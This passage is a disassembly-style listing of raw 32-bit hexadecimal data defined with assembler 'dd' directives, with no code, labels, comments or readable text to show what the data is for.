		dd 80513F4h, 69BC0224h,	9C604641h, 0A01F3ADh, 56BE895Fh
		dd 0F024867Dh, 57EA3D5Bh, 0B480EB0h, 0A30CF3BDh, 60675DFBh
		dd 0B538052Bh, 3412AC5h, 0F455D238h, 0AA2E4800h, 0F3E9FCFDh
		dd 9A0DF633h, 0DCB430B0h, 0B15AFFD9h, 1AB5A900h, 9062A482h
		dd 2FB30E9Ch, 0E3E0090Dh, 9B5ED606h, 54801818h,	7739341h
		dd 83F902EDh, 0EE7DC0D7h, 0F81E11A4h, 26409DDEh, 14E8D43Ah
		dd 0DDF70D65h, 0D839E15Bh, 9655C49Eh, 0ED20D6C0h, 0E3BB083h
		dd 0C2096146h, 6BA59240h, 0E0067CE7h, 1FA3DABFh, 2A8B1BD0h
		dd 0D0114025h, 0E222E8AEh, 15451301h, 0BEE3900Bh, 0F6771BD0h
		dd 0D8A600E7h, 0B95CEDA2h, 58B0B7FCh, 0B60CF87Dh, 49CA5634h
		dd 376820C2h, 0C0E8F248h, 0E8CCAC36h, 3CA40032h, 0DB219C86h
		dd 6C076617h, 0C3310372h, 1C0C1B55h, 45E1B0h, 0D7D2FA23h
		dd 9DFC3934h, 8D0022E8h, 658B4FDEh, 99E8A341h, 0EB950DA4h
		dd 882C071h, 0D8693315h, 151D224Ch, 0C4298F51h,	5C06EB03h
		dd 6AA3C31Ch, 0F4162178h, 5030048Dh, 2FABFA4h, 3E666C7Ah
		dd 5E0FB9Dh, 0E8061EECh, 0C28961F9h, 0EDEB0069h, 60E179DDh
		dd 0EC03EE6Dh, 9037185Fh, 0DA5A98A6h, 44C244F7h, 1C01ABFAh
		dd 0CCA0E2BDh, 102383FCh, 0C2FFA00h, 747E9210h,	0AD61C060h
		dd 18DB5589h, 90D29DB0h, 8068EA9h, 0EAE6ED4Ch, 2D470059h
		dd 0FBF2AD6h, 5D30E526h, 93E41890h, 191812D7h, 0F89C0717h
		dd 9134163Eh, 0E1F1500h, 839144FDh, 373603E1h, 0FCFEE37Ch
		dd 0E2C368F8h, 31B87D5Ch, 0DE88510Fh, 59BA9980h, 19934F30h
		dd 7D6DCE01h, 622D55B9h, 14E299F8h, 0C4423C31h,	13126C11h
		dd 20275333h, 0D02319C5h, 5C41E050h, 9632093Eh,	3890C4DDh
		dd 9F4169D2h, 90CAE2E3h, 0B987E2A4h, 95ED8094h,	0A5D5B2FFh
		dd 85C52905h, 1AC0028Fh, 38B058C7h, 810968FBh, 34208BF5h
		dd 0D769C601h, 1E734C07h, 81CB78C1h, 470AF88Ch,	0FA47BC0h
		dd 32D1A52Eh, 11EB5C80h, 3F4C176Fh, 8F5EC170h, 21D0BC61h
		dd 0A5A8381Ah, 0B219AD06h, 89F29945h, 47B5C26h,	0E42097E0h
		dd 0C5D82631h, 0A80B63F4h, 0C880EE98h, 6383F300h, 0CA8446C0h
		dd 0EDDA0025h, 56182B5Fh, 64018655h, 0E520B39Eh, 86062B7h
		dd 489188h, 544303CFh, 0BF0F913Bh, 0A0064E76h, 328FA0EDh
		dd 0D3A00AAh, 0D613FE9Dh, 36011777h, 35DD41A8h,	0F6E0911Eh
		dd 0F8A8BA04h, 619802CAh, 0C16A6C23h, 0CCC5BC48h, 0CD9E3318h
		dd 0C0F7B471h, 0BF12FED9h, 18009691h, 657F84B9h, 3B7AAAEBh
		dd 0FB00E74Bh, 44A84DCBh, 28908142h, 0C8DFE52Ah, 64B32200h
		dd 0C799E69h, 5AC100E6h, 0F384678Eh, 0A0186A6h,	0D342CB90h
		dd 32EDBB55h, 3B094D0h,	3D9FFADCh, 49BB5427h, 316B2100h
		dd 39CCBE44h, 73706Ch, 9D7048AEh, 6DE7EDE6h, 80EB873Fh
		dd 2AA7393Eh, 7AF5A911h, 341C0083h, 9CB6ADEDh, 0D3003FB8h
		dd 0DD88968Ah, 845D6h, 9ADCAE50h, 19121E7Dh, 0A3186E0Eh
		dd 0BB56E6B0h, 43D40530h, 0C09E143Ah, 11D5AC87h, 0E983D61h
		dd 0A080DEB0h, 8F1CC63Fh, 7E0C8BE8h, 19A24811h,	96C800BCh
		dd 39682376h, 0C30385F4h, 0EE7F2192h, 55601FBEh, 0A9EB8DB8h
		dd 419AE0A1h, 422A8F7Dh, 0DF0A803Ah, 3C7DD6ACh,	0CC077E0Fh
		dd 431109h, 73AD7582h, 0C88FB842h, 0F2926000h, 0F9D6BD4Ah
		dd 7E0506BEh, 30AA69BBh, 8F399006h, 7F41026Ah, 0AB6600B8h
		dd 0B656B49Ah, 73003B74h, 0D0CEF9F5h, 0E08785h,	7D5F387Ch
		dd 4EB550D3h, 1AD999C7h, 0B0C185C1h, 1EAD0h, 0D1627308h
		dd 0C4BB3194h, 552203Ah, 952F79E3h, 97823020h, 0DD49C73Ch
		dd 0A3009F5Eh, 0D0C64C53h, 471DC3EEh, 86187E06h, 12BBA9h
		dd 1AD26F46h, 0D8115DDEh, 83D9923Ah, 0BBCDABB2h, 57290033h
		dd 1E3C8062h, 6473F495h, 26D2F3Eh, 91852C18h, 0AB562231h
		dd 80ADD4A4h, 0A5683350h, 22A80C00h, 0A9AAEF2Ch, 18945080h
		dd 542F2034h, 4039F1F1h, 0DC9BBE4Ch, 86F9D20Bh,	0C858A85h
		dd 9FCBDF85h, 0B1CDEC45h, 16A066C7h, 0E9E72E57h, 0E9C3B8DBh
		dd 0CB7E0CDDh, 3F39BC09h, 1CF6DA00h, 0D7565BB0h, 2AAC1813h
		dd 0BF0E71ABh, 8629A56Fh, 521912D4h, 0A702CCB0h, 0C386B178h
		dd 0BE344460h, 805D2E3Fh, 0CB6E133Eh, 14B69FB2h, 24AA7939h
		dd 40421B3Fh, 3500A978h, 22F663D1h, 0FE647FAh, 0A3893DCh
		dd 33696B40h, 14005351h, 6DE56630h, 27A8DF5h, 1B9EE3DEh
		dd 0F4C006BDh, 0AC19DDE7h, 0F96117D7h, 12EE4C70h, 21474E3Ah
		dd 3050D57Ch, 97001ECEh, 117F7644h, 0A853404Eh,	20BAADB8h
		dd 563095E2h, 48FFB9BFh, 18DE006Ah, 0A4AD2185h,	2000679Ch
		dd 0FA1601B0h, 10E92Ah,	2D0630Ch, 0DCD15D19h, 72083Ch
		dd 3480BFAFh, 2461A87Bh, 4048BBC3h, 379030F7h, 3E2BF100h
		dd 89AFA802h, 8CEC09EAh, 3B04405Bh, 0D6089761h,	3E30D803h
		dd 0A6D2E10Eh, 5D21004Bh, 457795FDh, 4D009893h,	0B3B79BB1h
		dd 0D2B25Ch, 0A31C8276h, 0DF9949CDh, 0F0F1CA73h, 1D7C5680h
		dd 91744EF0h, 2CEF19C7h, 149CAA8Eh, 8FBD9D08h, 11F679h
		dd 974E95D1h, 0A4428Eh,	0B5FBA851h, 3DFCF0E2h, 0E42C7B00h
		dd 3E0D3198h, 2D0C0C69h, 0E3485421h, 0A2B83CA0h, 0E1F41300h
		dd 4E33EFBEh, 0CD46209Bh, 583E9119h, 0AA101D38h, 0B21F9E36h
		dd 230DFAC9h, 81F028C8h, 0EF7E03A2h, 269B4850h,	0EA5411Bh
		dd 0D6DBC021h, 7CDE1DC8h, 0C0F85DB8h, 7E3E8165h, 4030470Ch
		dd 0CE1D2898h, 0E984A81Eh, 49AB04EBh, 44F6939Fh, 4E42BC74h
		dd 0A423B09Ah, 9D69001Ah, 6D7FE58Eh, 1E000F6Bh,	82327E3h
		dd 3B7961F7h, 0C863E8Bh, 719E1841h, 0A428D643h,	6A530058h
		dd 9A6E23E1h, 6F01EF3Dh, 0E390EC56h, 0C45719D2h, 0CC549570h
		dd 5B0C14E4h, 1D0224E2h, 97485385h, 0C3A4D491h,	0F259590Fh
		dd 0FC5EA089h, 28BDEEB7h, 18EEA62Ah, 30C7C2D5h,	0B2441FE5h
		dd 5F5B06CDh, 0F94DE3F4h, 0F3C34300h, 32A77468h, 0EA9205E9h
		dd 48E35AE1h, 9A086C40h, 0B90380C7h, 84A47ED7h,	4CC7CA0h
		dd 0C0B1F588h, 7522EE29h, 6639C0EDh, 0E820807Fh, 2F6F47C1h
		dd 0D27A00B7h, 0D356D431h, 84AA5176h, 41DA5484h, 7B785903h
		dd 923BDE80h, 0B148C450h, 441CC148h, 4C00DA98h,	0CF782077h
		dd 475262Ch, 4E5BDE81h,	1897C090h, 51C1C059h, 103CFB2Ch
		dd 2D700FD5h, 8CCB5458h, 0D0A766E7h, 0C1791106h, 28B7CE00h
		dd 5DCC9881h, 0A940B78h, 310F6ACAh, 8FFEEBA0h, 0B107DA58h
		dd 0A0236FE7h, 0B95C8160h, 54B60A46h, 30C9A9Eh,	0AC9449AAh
		dd 1D90891Eh, 981F95h, 0AAB0C7Ch, 82482Bh, 0C2A9C7A8h
		dd 88FF7064h, 0DE924914h, 84F488FCh, 83B33366h,	11A903A0h
		dd 8016DDFFh, 40B8DB51h
		dd 12B6DA1Ah, 30EBA94Ah, 0ACB46D18h, 49985202h,	411FB833h
		dd 12CB45C8h, 4053E321h, 708A1B0Ch, 8F0098F2h, 9EA4E5A6h
		dd 0EC44886Ch, 9A4B0018h, 11BD03E1h, 0B2F094B6h, 0A49E08A0h
		dd 34298B6Ah, 2E1AA860h, 0AB530332h, 0E43BEA3Ah, 1C9A4990h
		dd 9C00DBF2h, 6C6654CEh, 0F230DCAh, 0DDE4C68Eh,	2117C0BEh
		dd 0FA47F04h, 0E07BA9CFh, 48F91FDFh, 671600CAh,	0FB8CED1Bh
		dd 214CB01h, 89C46481h,	4F5C10F6h, 0F7801F9h, 0E598624Eh
		dd 0CEA7C496h, 9EF05000h, 0E0593A52h, 0FFA30015h, 7D5BC036h
		dd 0AF01C698h, 0DC4AC78Fh, 0CF20572Eh, 0E489D005h, 0E9001E22h
		dd 306775Eh, 69DF4FFh, 0D41A639Ah, 1324216Eh, 96603847h
		dd 268789Ah, 1D1A1B6Dh,	148203D4h, 0E3221240h, 0C8A0A045h
		dd 711865CDh, 0C7730EC3h, 0B9402BB4h, 593CD371h, 0A01E7600h
		dd 4E348562h, 2A7800C6h, 1CA7AB21h, 56483C51h, 0F35C809Ch
		dd 7EA06Bh, 11D78F90h, 0F6573D41h, 973A24B1h, 0F8E8C8C5h
		dd 3CD9879h, 461DD048h,	97F898D2h, 0D89888CDh, 0E4AAC944h
		dd 0F3B187Eh, 4483B069h, 0E0B948h, 0CFB02531h, 1A27E02h
		dd 0D2CB78DAh, 61C7A6B5h, 11418096h, 74670E9h, 0D5EA0119h
		dd 590C3A51h, 0D1B4481Fh, 0BE603099h, 7EE6D3Eh,	3764D56h
		dd 906807Dh, 4200294Bh,	0D7FC0FB6h, 2277D35Dh, 92221D9Fh
		dd 82D22CDFh, 21986498h, 798019A4h, 69E02A54h, 2E00A7C6h
		dd 85B3B6FDh, 0F775F49h, 16118144h, 5610FCB4h, 0A8A12CBBh
		dd 2F765760h, 8978004Bh, 109D3ECDh, 0A512EDAEh,	1028856Bh
		dd 3077F4E5h, 0D48BEEEh, 0C3002C7Dh, 2FC08170h,	28DFCFDEh
		dd 74B4BC88h, 754700E3h, 0A69D78ABh, 9550499Bh,	4B020C60h
		dd 10BF828Dh, 0A7BC812Bh, 5886145Fh, 29DB9E4Eh,	0E3E70300h
		dd 792A0258h, 377EA7Eh,	0F4F29B4Fh, 511C0DB0h, 86C0015Dh
		dd 410B5A66h, 7BBD00C9h, 0EA4AD5E8h, 9C4C1C6Bh,	0AD9F1170h
		dd 3BC05E00h, 0B44B217Dh, 0BA27791Fh, 83F67E00h, 0B2869EB5h
		dd 4BA30CC0h, 9B6919ACh, 7D16CF07h, 4E41B796h, 6C73DA8Ch
		dd 0A06A5B22h, 1E119870h, 8A40E409h, 4C52585h, 0C130BB6Ch
		dd 98D1E8h, 0B9AD3F2h, 1B65AFA9h, 514CA086h, 0A19D7902h
		dd 988C4874h, 9AF49A0h,	75F64419h, 5E608C18h, 0C2270F00h
		dd 1D5741B3h, 7C880089h, 5B879049h, 2049B924h, 3E404880h
		dd 85A8CCD2h, 90209D4Eh, 0A4B3AB03h, 8E2516B0h,	2B57000Fh
		dd 97B1C808h, 0F7532607h, 924740C9h, 0AC21A730h, 44E330C1h
		dd 0D875F051h, 22E7AD00h, 3720C9F2h, 0A933003Ch, 0F5C895DDh
		dd 0A00510A2h, 1BA54D99h, 6CEAB841h, 0E5FC190Ah, 45DD0069h
		dd 1080E9CCh, 0C4125422h, 984852F6h, 25798270h,	99C0B283h
		dd 4E60E3F1h, 2AD0819h,	21D607BCh, 19F424h, 0AD46E73h
		dd 0C4E0BFF9h, 7D56007Ch, 830D5ECCh, 0CF0CB914h, 2111D21Dh
		dd 6C455813h, 616A3F9Fh, 0AA0C0088h, 9FBC9E78h,	13FDFE17h
		dd 610E810h, 4BE3037Dh,	52860011h, 59022D12h, 89057934h
		dd 56473E49h, 46382B80h, 0AB0B16C8h, 0E379063Bh, 76003950h
		dd 65FF8543h, 0B8E0D839h, 0AC86482Ch, 8F5EEA00h, 0F4D7329Eh
		dd 22FCA04Ch, 30F208CBh, 95001F24h, 75A016C7h, 38AD48D4h
		dd 0CF0E441Dh, 409ED79Eh, 13F0F11h, 7DF8BFAAh, 5990A204h
		dd 9D40A1DCh, 702825BEh, 9ACBC212h, 1089010h, 0D2C05AC9h
		dd 0B18C4377h, 513908B0h, 0C90060F4h, 3A188B0Ah, 93EF7Bh
		dd 4EFA0E5Bh, 70D323F1h, 442D9812h, 7506CC21h, 2F687E4h
		dd 3F3096A1h, 2C4CB17Bh, 9CE09700h, 875F652Eh, 25C7FF1h
		dd 6A068646h, 0D5C09FB0h, 23F089C5h, 0DF448203h, 0C84B1975h
		dd 3CA914AEh, 4D80E45Fh, 3E09F3DAh, 1D00108Eh, 0D7BC71B0h
		dd 0F7180Dh, 2A37A875h,	1E02C4ADh, 7B5CB300h, 0A631E425h
		dd 48D21AAFh, 0E4C29151h, 28CDCC98h, 9EC91164h,	0FE07C811h
		dd 0BE88AD3h, 1830A809h, 0D0A090A4h, 0BA3B9606h, 8038CC4Bh
		dd 0D6F69A9Fh, 5EE700A1h, 29AA9D7Bh, 0A20FE13Bh, 6AB97766h
		dd 794098F6h, 551823h, 0B31D7201h, 403F5B2Fh, 0C00F6CB0h
		dd 80117AE3h, 62C49123h, 0A108A0E0h, 4534B07Ch,	84488053h
		dd 5EA928FBh, 0A03B05CCh, 3533F40h, 0D4DB1DC4h,	20F5A125h
		dd 0E7202F5Ch, 319B3F0Bh, 44CDA297h, 493B4644h,	0AFB884FEh
		dd 5AC45C87h, 94BA888h,	0D4C99CA4h, 0F286488h, 64A157FCh
		dd 409AABC7h, 10D31D88h, 10C53CA1h, 0E20338Eh, 3A7D114Dh
		dd 4A22CC54h, 0FB88B07Bh, 5FF50047h, 7579FFCBh,	76144F0Bh
		dd 78B07E04h, 0B5CD3Fh,	16F85E1Dh, 0E8C01C5Bh, 0E7A90018h
		dd 0C2964593h, 0B9004F4Bh, 0A62A3547h, 5752E2Ch, 3A3E831h
		dd 6AE0009Eh, 0DA7248F3h, 701938C0h, 2AAF7EDh, 48576DEh
		dd 0DC66EA26h, 292710A1h, 460978B8h, 84F51577h,	0E9411E3Ch
		dd 9854EE2Ch, 0BC58D0D1h, 0A4182651h, 0C7FB0706h, 0C05B7034h
		dd 0B019CF3h, 0E67EFA44h, 0CCDD8F58h, 24A4A860h, 60A08D1Ch
		dd 0FB39A85Eh, 52FD5F00h, 0F3E2E8BFh, 728B004Bh, 0ADA34CEFh
		dd 0B037196Fh, 6BC08912h, 18DA70h, 0D265A615h, 5F78894Ch
		dd 1188098h, 0EC9B3F5h,	0AE1B01FCh, 9CD3A217h, 0A351C8EDh
		dd 63CA721Ch, 1AE69D80h, 5CF5AAh, 9C8E9E31h, 5B947E84h
		dd 8230100h, 6C6B3F43h,	0D45148EDh, 80A6351Eh, 542EB42Dh
		dd 0D300CDB6h, 0A8CB0DEEh, 3B53AC97h, 8CDC9B48h, 0D6F8A5A0h
		dd 682E29EEh, 0C72CA9EEh, 498DD00h, 0D008D1h, 0E3EFDBB3h
		dd 0CB399949h, 800641C8h, 0A99F8973h, 9B00F9A0h, 0E85D5BC6h
		dd 1E0857E5h, 8038D448h, 0B13E82B7h, 7027470Ch,	0D218835Ah
		dd 0E68C92FBh, 907E0C08h, 0A8284E3Eh, 9C61984Ah, 0C2C4DF84h
		dd 0FADA01BFh, 57D556AAh, 0F7F1FCC0h, 0A40C6B90h, 408C3E9Eh
		dd 0E759C296h, 14E0F05Ch, 0C8881E8Fh, 22F57445h, 91E0DDF6h
		dd 0EEFC671Fh, 0EA174280h, 174E1113h, 0C3BFD27h, 41F11B40h
		dd 0EA98400h, 0D8DB371Fh, 263E037Fh, 4DB04A70h,	7D95B9D0h
		dd 485A9007h, 3A21835Ch, 883D54CEh, 25B4C844h, 6C944C81h
		dd 0C83BD9ECh, 0B7FC8012h, 0A8A61385h, 0FD81E6BDh, 2FEA1840h
		dd 0C180DF1h, 6059AC40h, 8A745CDCh, 0A54BCD14h,	0D48380D0h
		dd 3611F3h, 0CBBF6F97h,	0FF5A7AAFh, 587DAAEAh, 9453CE16h
		dd 0D8A4A81Fh, 4C012B87h, 0B31CC030h, 19DA30E6h, 0F3F55034h
		dd 0E8B118B0h, 0CDF9AC04h, 9749B880h, 1A43019h,	8E0B7C79h
		dd 0C10EBD02h, 42BE3E70h, 0A02062C5h, 0EE98CA00h, 0F4B2551Fh
		dd 0C74C1083h, 8C9C0112h, 7B001F30h, 0FF36850Dh, 7A82FD5h
		dd 7A8E0F38h, 2614201Bh, 0EF486BA0h, 6D5DC6DCh,	0CED7005Ah
		dd 399F8A1Ah, 0C00357Ah, 4F61700Bh, 251BBE6Dh, 0E8949BB0h
		dd 6B00F278h, 0A5DD58ACh, 26FE0DAh, 5516F7AEh, 0C4620EC7h
		dd 46EA0C00h, 38909DF1h, 7CC9ACF7h, 13141511h, 0AA81FC46h
		dd 62BF9E3Bh, 4E2C5C74h, 0EF597400h, 0F0C0700Ch, 0A09409F9h
		dd 500E23D9h, 2CD0091h,	5DB9D040h, 0EC010095h, 0FF61925h
		dd 264A0BABh, 0FBAC4843h, 84AF708h, 555C200h, 0B7B530Bh
		dd 1AB8B90h, 5100588h, 20A1CDF1h, 0D7E390E0h, 784D60E5h
		dd 0B99C2500h, 1D0C11E1h, 0ACC303E7h, 0FDF0D5F2h, 0A96D41C7h
		dd 21E070CDh, 695CB116h, 969488h, 0A9226DD8h, 181A981Fh
		dd 950AA3B0h, 90BDB3ABh, 20CB4142h, 0AC6318FEh,	9A49FC0Eh
		dd 0A5189906h, 9D07783Dh
		dd 0C0B6E0A0h, 2BD0C293h, 35F6DC08h, 49D304FEh,	14B0464Fh
		dd 50530F61h, 0E821C025h, 384D3028h, 0E8952E38h, 0E59A4E09h
		dd 193F03C8h, 808028F5h, 21C0B6F6h, 0FBE12735h,	0A86A0094h
		dd 2230C47Ch, 917F41B4h, 0D302D470h, 219F75EBh,	41C5299h
		dd 0F8831FE6h, 0DAF0891Ah, 85480044h, 830F0EE8h, 85AF8BBCh
		dd 60946835h, 2E4C814h,	0D93B0D4Eh, 975480F6h, 323D74h
		dd 0FA0985DBh, 3169D7C2h, 80E8A54Ch, 89F035AFh,	176607B5h
		dd 9077C287h, 19F88EFCh, 1DAEE000h, 9A82F63Eh, 4C767C95h
		dd 0C852C44h, 3898B52Ch, 35D9EF8h, 7D7752C0h, 70F2FC8h
		dd 0B597C9Ch, 0AF4A5029h, 82A05B88h, 0B909819Dh, 6409E8B8h
		dd 0E0649430h, 4FD0CED4h, 231204E8h, 0A00528F1h, 40E657FDh
		dd 0C406F701h, 502A0D2Eh, 947AC070h, 92000372h,	0DE066507h
		dd 79D41Ah, 4D610142h, 1DE82D55h, 97994E12h, 8E81D4D0h
		dd 0C66A040Ch, 82A4A13Bh, 8702C60h, 0E1EBE416h,	8066700Ah
		dd 0FC4A0380h, 6EF2FFBh, 3EAF7E69h, 0C322A8BAh,	6A534455h
		dd 0E237B200h, 99844F5Bh, 440C27ADh, 0F91DFC94h, 0FF85ED0Bh
		dd 0FDC0F23Eh, 158685Ah, 7FBB9D5Eh, 0FB24464Dh,	0B72068B6h
		dd 12AA7248h, 40AB9B90h, 0FFD258D4h, 78B9882Ch,	495F1809h
		dd 98705A08h, 7037FC1h,	6F50F8DAh, 16D0C13Ah, 16802802h
		dd 30D00EB0h, 0FFB9F90h, 0A4912228h, 9063240h, 7909F6C4h
		dd 84A3303Ch, 1094C650h, 758A04E0h, 0DE1A042Dh,	0C3CD0D53h
		dd 0C5E40964h, 6EC3220h, 44B3AA22h, 921800C8h, 771E4B24h
		dd 0D49E49C2h, 0B3890C41h, 0DD00882Dh, 0A7C5E3ACh, 0AE167998h
		dd 0B00CB83h, 1736BDC6h, 0B5B90BD8h, 5C007D78h,	596DFBDDh
		dd 9A7E3400h, 0D7338977h, 22575AF4h, 42ADA08h, 4453DE38h
		dd 62CBCC08h, 8A36BCDh,	52F89791h, 59510C02h, 87846168h
		dd 763E0359h, 0B787F190h, 0C9E0001Fh, 9DDC6DF8h, 0E100583Bh
		dd 5AED63D5h, 12F7B25Dh, 1EC3FBD9h, 0C9BA02C5h,	28605B19h
		dd 0D8A8C7AAh, 0C8144D5Eh, 0C08C9E4Eh, 0D29D9C4Ah, 0CC9F4D77h
		dd 915FF67Eh, 3DE168D4h, 35414480h, 0F199BE9Fh,	0E35A4B01h
		dd 5B84AC14h, 6F28FCh, 4D87CF5h, 0F7B54F6Ah, 0C09D3000h
		dd 0F45B5A74h, 1EA499E3h, 58E8C145h, 0F429B919h, 0A601BF0Fh
		dd 4090F656h, 742C7AF3h, 6478D22Ch, 30906058h, 28B96BFBh
		dd 0CF091C0Fh, 0C09B04DFh, 0D31EDCE2h, 0D42C8313h, 0E2ED6308h
		dd 0CB4D0080h, 364B62B8h, 170400DAh, 0CED8551Ch, 65001418h
		dd 714F0B26h, 1F3E4A9h,	539E1E79h, 6D55CFA2h, 0AD4B0F68h
		dd 12D2E152h, 95E1BD1Eh, 0B5180840h, 2F7B1450h,	5600C09Eh
		dd 7D3BFB31h, 841E4BABh, 2840641Eh, 49D2EE7Eh, 24B4489Fh
		dd 0F81B5A80h, 0F5E8514Ch, 5D05ABF4h, 7374D347h, 9349D445h
		dd 50BBC489h, 0EF08C501h, 20BE9E01h, 0FC1EE282h, 8614A223h
		dd 944B1408h, 5B0C0D14h, 7063C913h, 0EA35A200h,	0FAD8A667h
		dd 7DDC5C03h, 0E0DDD405h, 3ACC69AAh, 4DC98B6h, 0E40BDA22h
		dd 1019CD89h, 6B8FD2F4h, 10445147h, 816CB239h, 0B75987FBh
		dd 17E88FBCh, 8BDD013Fh, 787B83D5h, 1022E0h, 0F75694D2h
		dd 9B748Fh, 2C66E36Ch, 7E7B23C9h, 22F0AB48h, 152E2ADh
		dd 8F2F2031h, 0CD8BAE3Bh, 0F808A49Ah, 4F2C4360h, 72DA09D5h
		dd 0E010E07Eh, 0FE12C705h, 0D008EB76h, 909743F7h, 0FE2888ECh
		dd 1390D34Ch, 0C90D01Dh, 326644E0h, 41F01177h, 88100F11h
		dd 7300D5FBh, 2A97FC44h, 0FEA6A16h, 69DAA84h, 83997B60h
		dd 0D801B6E7h, 1D7D572Eh, 498048E2h, 0B303BD9Bh, 0F93A12EBh
		dd 7103F4D9h, 0C2669F36h, 0D2C58023h, 31556176h, 2A0CE8E4h
		dd 0B9132C0Bh, 0C0AC00Ch, 0A905DB1Dh, 44B9F5h, 20A67F10h
		dd 0F09D6E9Dh, 0D59C0012h, 6462E2C3h, 7924A53Eh, 781B492h
		dd 914BA196h, 8188943Ch, 0C16A911h, 0CCD88858h,	6A131284h
		dd 0DFE00ADEh, 90785424h, 7E2CF9F2h, 0C30818A2h, 50C82C2Ch
		dd 0D700AF36h, 0A469B165h, 90A69605h, 972C8378h, 0AA60F0CAh
		dd 0B01E5AC3h, 40A45F68h, 2B0E54D4h, 0FD3E358Bh, 0F8941863h
		dd 491F318h, 65AC999Ah,	0AB3C881Bh, 0C8AC249Eh,	83BC9600h
		dd 0C03C68Dh, 0C4F557BBh, 0BE00E729h, 7D3E7156h, 0A0068Dh
		dd 2EBE61Dh, 510CA7ABh,	22CC0D4Ch, 405094B4h, 7A48DE52h
		dd 60F78E0Eh, 4FF0A14Bh, 80EE4EE2h, 0A81C82C7h,	0A24A2630h
		dd 271F26E4h, 0F1C420A0h, 7B000250h, 7EBB2E54h,	0BC892Ch
		dd 9818B311h, 92B21C57h, 32E07702h, 43120F74h, 413DD0F6h
		dd 0F8B40072h, 0EC9761FCh, 0E40380F5h, 0DAD2F79Fh, 8072DA29h
		dd 5C01E7EFh, 0BC0097A3h, 7D79F1E5h, 128ED22Dh,	8B8862ACh
		dd 23C06C9h, 36AA00D9h,	0E1FA4220h, 0E3310D4Bh,	954E31EAh
		dd 28A3243Ch, 0B95E79F0h, 6E201000h, 4EC5FF86h,	66C701DCh
		dd 2D9D5C47h, 208C613Ah, 3612FB48h, 0E049B790h,	901844C6h
		dd 76C300A9h, 2A0BA1C0h, 5006EF88h, 3BD4F0F9h, 23A30279h
		dd 0E5EB94Dh, 0A00FECD2h, 848C6EC8h, 0B8C0E6D2h, 0FBB44Ch
		dd 0CB869870h, 5F885818h, 0AACEB800h, 71F0DBD1h, 5C364CF5h
		dd 34C4E100h, 46B831C9h, 0C04C0F4Ch, 909BEEAEh,	286E630Dh
		dd 629F0485h, 0A7E05072h, 0AA7615CCh, 9E0D3Fh, 3EC42452h
		dd 13BBA54Bh, 13B88C2Eh, 4D3C00BFh, 1E91EDB4h, 0B2517616h
		dd 494E7420h, 6C170422h, 0A85CB9E2h, 0BFA2164Bh, 0A4D84C84h
		dd 17CD331Dh, 0ADB87C39h, 7800F7DBh, 0CAB9293h,	4CEADE49h
		dd 1E2658FFh, 198A0A40h, 40AC44DCh, 0C9A33ABh, 8324942Dh
		dd 0D34863FEh, 38E79391h, 5A0C1600h, 0CC54A420h, 61049057h
		dd 0F6A151F3h, 0FF4C10B3h, 34D2003Dh, 9260B55Ah, 0CF006CC5h
		dd 0FE0FF98Ah, 5DEE51E3h, 5B88D0A3h, 0FD4048AEh, 1F10F830h
		dd 0FADC7Dh, 0D65D6552h, 750EA058h, 0C0F18FF3h,	0C2F62DDDh
		dd 0E8CC9C6Eh, 0A7D000Ch, 0F4238E4Ah, 4F09ECB0h, 103A7030h
		dd 88DF95E4h, 91959DD2h, 2308941Ch, 0C18F302h, 5C9B4C46h
		dd 0C628C0A8h, 7705CD9Eh, 5C8716EAh, 41B2E080h,	0CB3203E9h
		dd 0B362C492h, 2EF0114Ch, 0DC00F07Ch, 9E81AE76h, 0B01D297Eh
		dd 4F980780h, 0E8D5940Eh, 90BECF38h, 0C088AA2Eh, 0B780BC7Bh
		dd 0C3333500h, 3BF85EEBh, 476A00C8h, 582AF41Bh,	0CC0746E5h
		dd 929D02D5h, 57E41930h, 0BC90044Bh, 0B37DF3FBh, 0C0814B50h
		dd 0EC62E29Ch, 8FD74707h, 0DE994049h, 94001888h, 0C5F3D9B9h
		dd 0DFDC590Ch, 9EB5C729h, 38091B83h, 0AF07D073h, 2249D944h
		dd 5CBCBD38h, 392C6AE4h, 0DB00AA44h, 0D057074Dh, 3BDD2C19h
		dd 4E9786DCh, 8C94013Ah, 60EEC898h, 0D30F8814h,	0B2B60F1Ah
		dd 4108F010h, 0E31402C0h, 0D1041CE4h, 0DB3A225Bh, 9081E0A3h
		dd 0E1D7E20Eh, 75523020h, 45319E01h, 81AB3A08h,	90E1E6F4h
		dd 47B8B6A4h, 805A2787h, 0EEC781C8h, 0B621C264h, 39CC7940h
		dd 7005977h, 54260F81h,	5AC865Fh, 61D1761Bh, 688CC1BDh
		dd 0E840CAE4h, 99254ECBh, 0D29C02A2h, 97845477h, 0AEE490B0h
		dd 8200AD70h, 326A9741h, 249B3908h, 12D8455Dh, 0C474C867h
		dd 0E5BC0084h, 0D20BB73Fh, 1D2C0D5Bh, 1342C419h, 2ABC7923h
		dd 8F7410FCh, 0C84084E5h, 9EEBBA40h, 6E16B471h,	2081D816h
		dd 0B660038Fh, 0BFD0E2Ch, 0A602836Bh, 7AE02D44h, 1700C288h
		dd 0E702E298h, 1492E0Bh, 0E919ECBAh, 0D2B19122h, 0DA118476h
		dd 8882D217h, 0A5483704h
		dd 34F58010h, 19F85E6h,	30444924h, 0A408C025h, 6420F86Ah
		dd 56F10A0h, 1E722208h,	26082096h, 11B8DE97h, 8C230012h
		dd 0B6EA943Bh, 6733007Ah, 0A972217Eh, 0A71CC973h, 0E6C31D45h
		dd 0C01F909Dh, 78B72C4Ah, 88B84C6Bh, 34C8F438h,	97705AC0h
		dd 0F65006D7h, 2439D568h, 0A9790186h, 577DCFF1h, 882C91F3h
		dd 0EA859DD0h, 6C5F099Fh, 0E2F051E1h, 0E4EB901h, 955550E7h
		dd 1F80EC2Ch, 8C069E5Dh, 0BD6B0200h, 0A09AC573h, 2C7B1D78h
		dd 6E5DC0DCh, 39BF255Bh, 8108AB3Ah, 0B1CB53F3h,	0B6C089ACh
		dd 0B888A3AEh, 486C9AF4h, 0BB8014F6h, 5BF5232Bh, 0A2D4320Eh
		dd 2004A07Fh, 0D513E8h,	400B6BB2h, 8123F899h, 50E4C031h
		dd 0A2DC217Dh, 4A62007Bh, 0D2FC7E64h, 0FD5C586Bh, 0DB971471h
		dd 5A8C84ECh, 107E7947h, 0F20D30F3h, 0EF9520C0h, 831FDE16h
		dd 0ADA91DC0h, 6A094090h, 719A49DBh, 0A950ACB4h, 882E60E4h
		dd 0E400C1C3h, 0BF5DBB7Fh, 12170E01h, 8DF0E5C0h, 0E8202EE0h
		dd 7A1EF24Fh, 0B58E006Fh, 0DF479E7Ch, 8145C5Eh,	960F660h
